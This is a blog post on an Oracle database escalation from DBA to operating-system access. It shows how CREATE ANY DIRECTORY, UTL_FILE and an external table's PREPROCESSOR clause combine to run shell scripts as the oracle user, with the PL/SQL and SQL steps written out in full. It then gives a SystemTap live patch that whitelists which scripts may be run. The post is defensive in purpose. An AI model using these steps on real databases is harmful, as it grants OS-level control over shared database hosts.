“CREATE ANY DIRECTORY”=DBA=SYSDBA ! Ouch !

As Kamil Stawiarski explained in some great articles :

“A lot companies consolidates databases into one appliance – like for example Oracle Exadata. So you can have a lot of different databases in one physical cluster. And what if I tell you that you can execute any OS command as an oracle user, having just access to a database user with appropriate privileges? What if I tell you that DBA=SYSDBA? And not just SYSDBA for one database but for every database in a cluster?” Ref1

This is possible using only three elements thanks to the PREPROCESSOR feature introduced in oracle 11G   Ref2 :

• CREATE ANY DIRECTORY
• UTL_FILE
• CREATE EXTERNAL TABLE

Also think about the new multitenant architecture !  (dba=sysdba for all pluggable database)

UPDATE 05/03/2017 : A new parameter was introduced in 12.2.0.1 that is meant to prevent the pre-processor threat “PDB_OS_CREDENTIAL” in CDB databases (thank’s Franck Pachot who informed me about it)

UPDATE 07/03/2017 : See this blog post for a different solution https://mahmoudhatem.wordpress.com/2017/03/07/create-any-directory-threats-pdbs-and-the-path_prefix-clause/

@Hatem__Mahmoud @ora600pl I tested if 12cR2 pdb_os_credential can help to prevent that, but seems I have to open a SR… pic.twitter.com/mLRUDaDKJR

— Franck Pachot (@FranckPachot) March 4, 2017

Here is the basic principle based on Kamil example  :

Step 1 : Generate the script

declare
v_file utl_file.file_type;
begin
v_file:=utl_file.fopen('TEMP_DIR','execute_me.sh','w');
utl_file.put_line(v_file,'export PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin');
utl_file.put_line(v_file,'export ORACLE_HOME=/oracle11/product/11.2.0/dbhome_1');
utl_file.put_line(v_file,'export ORACLE_SID=testdb');
utl_file.put_line(v_file,'export PATH=$ORACLE_HOME/bin:$PATH');
utl_file.put_line(v_file,'ps -ef | grep pmon');
utl_file.fclose(v_file);
end;
/

Step 2 : create the external table

CREATE TABLE exec_command (
txt varchar2(4000)
)
ORGANIZATION EXTERNAL (
TYPE ORACLE_LOADER
DEFAULT DIRECTORY temp_dir
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
PREPROCESSOR exec_dir:'bash'
FIELDS TERMINATED BY ','
MISSING FIELD VALUES ARE NULL
(
txt
)
)
LOCATION ('execute_me.sh')
);

Step 3 : call it

select * from exec_command;

Output : that’s it !

It would be great to have some kind of ACL which will limit the files that can be executed by the PREPROCESSOR and controlled only by the sysdba user or oracle user owner for example.Sadly this not possible with the current oracle database version (until 12CR1)  ! so what to do ? wait and hope that this will be enhanced in feature release ?

A better idea is to just develop your own patch using dynamic tracing tools ! so here i will show how we can do that ! (i will show only the general idea so the script developed here is far from being perfect nor exhaustive )

TEST ENV : ORACLE 11.2.0.4/OEL6/UEK4/Systemtap 3.0

First i used strace to get an idea on the execution flaw (process forked,exec,etc) :

As expected the script “/tmp/execute_me.sh” is executed inside another child process.

Time for memory reference tracing !

Using intel pin tools “pinatrace.so” i traced the memory access of the target process (for more info on intel pin Ref3 ) and searched for the occurrence of the script to be executed in raw format (“/tmp/execute_me.sh”). Gotcha “skudmio_prep” ! The process is also forked inside this function “<fork@plt>” and our execution script is pointed by register RDX. That’s it ! not too complicated ! All we have to do now is write our systemtap script for live patching our function (See luca Canali example on live patching ):

This systemtap script will check the script passed for execution and if it’s in the white list will be allowed to execute else it will be denied and replaced by a predefined script.In this example only the “/tmp/execute_me.sh” script is allowed to execute other scripts will be replaced with the “/deny” script (contain echo Access denied).

probe process("oracle").function("skudmio_prep") {

if ( user_string(register("rdx")) == "/tmp/execute_me.sh" ) {
printf("Access granted %s\n",user_string(register("rdx")));
} else {
printf("Access denied %s\n",user_string(register("rdx")));
replace_string(register("rdx"),"/deny");
}
}

function replace_string(old_text:long,new_text:string) %{
char *oldtext;
char *newtext;
oldtext = (char *) STAP_ARG_old_text;
newtext = (char *) STAP_ARG_new_text;
strcpy(oldtext,newtext);
%}

Example output :

Executing the systemtap script :

Executing the external table :

That’s it 😀 Your own preprocessor ACL with live patching !

DOWNLOAD : acl_preprocessing.stp